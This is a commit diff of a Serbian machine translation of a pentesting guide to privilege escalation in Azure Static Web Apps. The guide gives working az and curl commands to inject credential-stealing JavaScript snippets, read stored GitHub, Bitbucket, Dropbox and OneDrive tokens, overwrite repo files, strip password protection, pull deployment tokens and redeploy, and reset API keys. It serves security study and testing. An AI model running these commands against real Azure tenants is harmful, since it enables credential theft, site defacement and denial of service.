Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 12:02:26 +00:00
parent e6337a4b3f
commit d8e58bd4a5
@@ -12,9 +12,9 @@ Za više informacija o ovom servisu pogledajte:
### Microsoft.Web/staticSites/snippets/write
Moguće je naterati statičku web stranicu da učita proizvoljni HTML kod kreiranjem snippet-a. Ovo bi moglo omogućiti attackeru da injectuje JS kod unutar web app-a i ukrade osetljive informacije kao što su credentials ili mnemonic keys (u web3 wallets).
Moguće je naterati statičku web stranicu da učita proizvoljni HTML kod kreiranjem snippet-a. Ovo može omogućiti attacker-u da inject-uje JS kod unutar web app i steal-uje osetljive informacije kao što su credentials ili mnemonic keys (u web3 wallets).
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web app-a::
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web app::
```bash
az rest \
--method PUT \
@@ -31,22 +31,22 @@ az rest \
}
}'
```
### Čitanje konfigurisanih akreditiva trećih strana
### Pročitaj konfigurisane kredencijale trećih strana
Kao što je objašnjeno u delu App Service:
Kao što je objašnjeno u sekciji App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Pokretanjem sledeće komande moguće je **pročitati akreditive trećih strana** konfigurisanе na trenutnom nalogu. Imajte na umu da, na primer, ako su neke Github akreditive konfigurisanе pod drugim korisnikom, nećete moći da pristupite tokenu iz drugog naloga.
Pokretanjem sledeće komande moguće je **pročitati kredencijale trećih strana** konfigurisane u tekućem nalogu. Imajte na umu da, na primer, ako su neki Github kredencijali konfigurisani pod drugim korisnikom, nećete moći da pristupite tokenu iz drugog naloga.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.
Evo nekoliko primera komandi za proveru tokena:
Ovde su neki primeri komandi za proveru tokena:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
@@ -69,12 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Prepisivanje fajla - Prepisivanje ruta, HTML-a, JS-a...
### Prepisivanje fajla - prepisivanje ruta, HTML, JS...
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a koji poseduje **Github token**, slanjem zahteva kao u nastavku koji će navesti putanju fajla koji treba prepisati, sadržaj fajla i poruku commita.
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju pomoću Azure-a koji poseduje **Github token**, slanjem zahteva kao u sledećem koji će navesti putanju fajla koji treba prepisati, sadržaj fajla i commit poruku.
Ovo mogu iskoristiti napadači da u suštini **promene sadržaj web aplikacije** kako bi servirali zlonamerni sadržaj (ukrali pristupne podatke, mnemoničke ključeve...) ili jednostavno da **preusmere određene putanje** na sopstvene servere prepisivanjem `staticwebapp.config.json` fajla.
> [!WARNING]
> Imajte na umu da ako napadač na bilo koji način uspe da kompromituje Github repozitorijum, može i direktno prepisati fajl iz Github-a.
> Imajte na umu da, ako napadač uspe da na bilo koji način kompromituje Github repozitorijum, on takođe može prepisati fajl direktno iz Github-a.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -97,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
Sa ovom dozvolom moguće je **izmeniti lozinku** koja štiti static web app ili čak ukloniti zaštitu sa svih okruženja slanjem zahteva kao što je sledeći:
Sa ovom dozvolom moguće je **promeniti lozinku** koja štiti static web app ili čak ukloniti zaštitu sa svih okruženja slanjem zahteva kao u nastavku:
```bash
# Change password
az rest --method put \
@@ -131,9 +133,9 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
Ova dozvola omogućava dobijanje **API key deployment token** za static app.
Ova dozvola omogućava pribavljanje **API key deployment token** za static app.
Korišćenjem az rest:
Korišćenje az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
@@ -142,27 +144,27 @@ Korišćenje AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Zatim, da biste **ažurirali aplikaciju koristeći token**, možete pokrenuti sledeću komandu. Napomena: ova komanda je izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) radi**, pošto je to podrazumevani način koji Azure koristi. Dakle, image i parametri se mogu promeniti u budućnosti.
Zatim, da biste **ažurirali aplikaciju koristeći token** možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom **kako Github Action https://github.com/Azure/static-web-apps-deploy radi**, pošto je to ona koju Azure podrazumevano koristi. Dakle, image i parametri se mogu promeniti u budućnosti.
> [!TIP]
> Za deploy aplikacije možete koristiti alat **`swa`** sa [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ili pratiti sledeće osnovne korake:
> Za deploy aplikacije možete koristiti alat **`swa`** sa https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ili pratiti sledeće osnovne korake:
1. Preuzmite repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repo koji želite da deploy-ujete) i pokrenite `cd react-basic`.
2. Izmenite kod koji želite da deploy-ujete
3. Deploy-ujte ga pokretanjem komande (Zapamtite da zamenite `<api-token>`):
1. Preuzmite repo https://github.com/staticwebdev/react-basic (ili bilo koji drugi repo koji želite da postavite) i izvršite `cd react-basic`.
2. Izmenite kod koji želite da postavite
3. Postavite ga pokretanjem (Zapamtite da promenite `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Čak i ako imate token, nećete moći da deploy-ujete aplikaciju ako je **Deployment Authorization Policy** podešena na **Github**. Za korišćenje tokena biće vam potrebna dozvola `Microsoft.Web/staticSites/write` da promenite metod deploy-a kako biste koristili th APi token.
> Čak i ako imate token, nećete moći da deploy-ujete aplikaciju ako je **Deployment Authorization Policy** postavljena na **Github**. Da biste koristili token biće vam potrebna dozvola `Microsoft.Web/staticSites/write` da promenite metod deploy-a i koristite API token.
### Microsoft.Web/staticSites/write
Sa ovom dozvolom moguće je **promeniti izvor static web app na drugi Github repository**, međutim on neće biti automatski provision-ovan jer to mora da se uradi iz Github Action.
Sa ovom dozvolom moguće je da **promenite izvor static web app na drugi Github repository**, međutim neće biti automatski provisionovan jer to mora da se uradi iz Github Action.
Međutim, ako je **Deployment Authotization Policy** podešena na **Github**, moguće je **ažurirati aplikaciju iz novog source repository-ja!**.
Međutim, ako je **Deployment Authorization Policy** postavljena na **Github**, moguće je **ažurirati aplikaciju iz novog izvornog repozitorijuma!**.
U slučaju da **Deployment Authorization Policy** nije podešena na Github, možete je promeniti istom dozvolom `Microsoft.Web/staticSites/write`.
U slučaju da **Deployment Authorization Policy** nije postavljena na Github, možete je promeniti istom dozvolom `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -248,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Sa ovom dozvolom moguće je **reset the API key of the static web app**, potencijalno DoSing workflows koji automatski deploy-uju aplikaciju.
Sa ovom dozvolom moguće je **reset the API key of the static web app** i potencijalno DoSing workflows koji automatski deploy-uju aplikaciju.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
Ovo dopuštenje omogućava **kreiranje pozivnice za korisnika** za pristup zaštićenim putanjama unutar static web app-a sa određenom ulogom.
Ovo dopuštenje omogućava **kreiranje pozivnice za korisnika** da pristupi zaštićenim putanjama unutar static web app-a sa određenom dodeljenom ulogom.
Prijava se nalazi na putanji kao što je `/.auth/login/github` za github ili `/.auth/login/aad` za Entra ID, i korisnik može biti pozvan sledećom komandom:
Login se nalazi na putanji kao što je `/.auth/login/github` za github ili `/.auth/login/aad` za Entra ID i korisnik može biti pozvan sledećom komandom:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -270,12 +272,12 @@ az staticwebapp users invite \
```
### Pull Requests
Podrazumevano, Pull Requests sa branch-a u istom repo-u se automatski kompajliraju i build-uju u staging okruženju. Ovo može biti zloupotrebljeno od strane napadača koji ima write pristup repo-u, ali ne može da zaobiđe branch protections production branch-a (obično `main`) da **deploy-uje malicioznu verziju aplikacije** na staging URL.
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. Ovo može biti zloupotrebljeno od strane napadača koji ima write pristup repozitorijumu, ali ne može da zaobiđe branch protections produkcijske grane (obično `main`) da **deploy-uje zlonamernu verziju aplikacije** na staging URL.
Staging URL ima oblik: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` na primer: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Imajte na umu da podrazumevano external PRs neće pokretati Workflows osim ako prethodno nisu merge-ovali bar 1 PR u repository. Napadač bi mogao poslati validan PR u repo i **zatim poslati maliciozni PR** da deploy-uje malicioznu aplikaciju u staging okruženje. MEĐUTIM, postoji neočekivana zaštita: default Github Action za deploy u static web app zahteva pristup secret-u koji sadrži deployment token (npr. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) čak i ako je deployment urađen sa IDToken-om. To znači da, pošto external PRs neće imati pristup tom secret-u i external PR ne može promeniti Workflow da ubaci proizvoljan token bez prihvatanja PR-a, **ovaj napad zapravo neće raditi**.
> Imajte na umu da po defaultu external PRs neće pokretati workflows osim ako prethodno nisu merged bar 1 PR u repozitorijum. Napadač bi mogao poslati validan PR u repo i **zatim poslati zlonamerni PR** u repo da deploy-uje zlonamernu aplikaciju u staging okruženju. MEĐUTIM, postoji neočekivana zaštita: default Github Action za deploy u static web app zahteva pristup secret-u koji sadrži deployment token (npr. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) čak i ako se deployment obavlja pomoću IDToken-a. To znači da pošto external PR neće imati pristup tom secret-u i external PR ne može promeniti Workflow da ovde ubaci proizvoljan token bez prihvatanja PR-a, **ovaj napad zapravo neće uspeti**.
{{#include ../../../banners/hacktricks-training.md}}